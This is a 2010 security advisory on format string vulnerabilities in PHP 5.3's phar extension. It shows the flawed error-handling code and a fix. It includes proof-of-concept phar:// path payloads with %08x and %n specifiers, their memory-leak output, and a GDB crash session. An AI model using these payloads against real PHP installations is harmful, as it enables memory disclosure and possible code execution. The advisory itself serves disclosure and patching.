MOPS-2010-028: PHP phar_wrapper_open_url Format String Vulnerabilities

May 14th, 2010

The new phar extension in PHP 5.3 contains several format string vulnerabilities in the internal phar_wrapper_open_url() function.

Affected versions

Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser.

Detailed information

Within the phar_wrapper_open_url() function in ext/phar/stream.c there exist a three format string vulnerabilities in the error handling.

if (NULL == (idata = phar_get_or_create_entry_data(resource->host, host_len, internal_file, strlen(internal_file), mode, 0, &error, 1 TSRMLS_CC))) {
    if (error) {
        php_stream_wrapper_log_error(wrapper, options TSRMLS_CC, error);
        efree(error);
    } else {
        php_stream_wrapper_log_error(wrapper, options TSRMLS_CC, "phar error: file \"%s\" could not be created in phar \"%s\"", internal_file, resource->host);
    }
    efree(internal_file);
    php_url_free(resource);
    return NULL;
}
....
        if ((FAILURE == phar_get_entry_data(&idata, resource->host, host_len, internal_file, strlen(internal_file), "r", 0, &error, 0 TSRMLS_CC)) || !idata) {
idata_error:
            if (error) {
                php_stream_wrapper_log_error(wrapper, options TSRMLS_CC, error);
                efree(error);
            } else {
                php_stream_wrapper_log_error(wrapper, options TSRMLS_CC, "phar error: \"%s\" is not a file in phar \"%s\"", internal_file, resource->host);
            }
            efree(internal_file);
            php_url_free(resource);
            return NULL;
        }
...
/* check length, crc32 */
if (!idata->internal_file->is_crc_checked && phar_postprocess_file(idata, idata->internal_file->crc32, &error, 2 TSRMLS_CC) != SUCCESS) {
    php_stream_wrapper_log_error(wrapper, options TSRMLS_CC, error);
    efree(error);
    phar_entry_delref(idata TSRMLS_CC);
    efree(internal_file);
    return NULL;
}

On error the php_stream_wrapper_log_error() function is called with the variable error as format string in various places. Because error can contain user input this allows the usual format string attacks e.g. "%08x" for information leaks and "%n" for memory corruption. However the later attack is only possible in insecure PHP installations (those not patched with the Suhosin Patch).

It is important to realize that these vulnerabilities might allow remote code execution in certain installations of PHP through file functions exposed to user input. This is possible because every default PHP 5.3 installation comes with the phar.phar file put in a known location on the harddisk.

Proof of concept, exploit or instructions to reproduce

The following code demonstrates one of the format string vulnerabilities in the phar extension that can be triggered by most of the file functions. This means many file function that are exposed to user input can be used to leak memory.

$ php -r "fopen('phar:///usr/bin/phar.phar/*%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x','r');"

Warning: fopen(phar:///usr/bin/phar.phar/*%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x): failed to open stream: phar error: invalid path "*00000000-00b4a5d8-00000006-00000000-5fbff278-00000000-5fbff258-00900840-00b49310" contains star in Command line code on line 1

In insecure PHP installations (those without the Suhosin Patch applied) this vulnerability can also result in memory corruption and code execution.

And here is the GDB session demonstrating the corruption.

(gdb) run -r "fopen('phar:///usr/bin/phar.phar/*%n-%n-%n-%n-%n-%n-%n-%n','r');"
Starting program: /usr/bin/php -r "fopen('phar:///usr/bin/phar.phar/*%n-%n-%n-%n-%n-%n-%n-%n','r');"
Reading symbols for shared libraries ... done
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x0000000000000000
0x00000001002c8181 in vspprintf ()
(gdb) x/2i $rip
0x1002c8181 <vspprintf+4213>:   mov    %r15d,(%rax)
0x1002c8184 <vspprintf+4216>:   mov    %r15,%rbx
(gdb) i r $rax
rax            0x0  0

Notes

These vulnerabilities can be fixed by just calling php_stream_wrapper_log_error() with "%s" and error as parameter.




blog comments powered by Disqus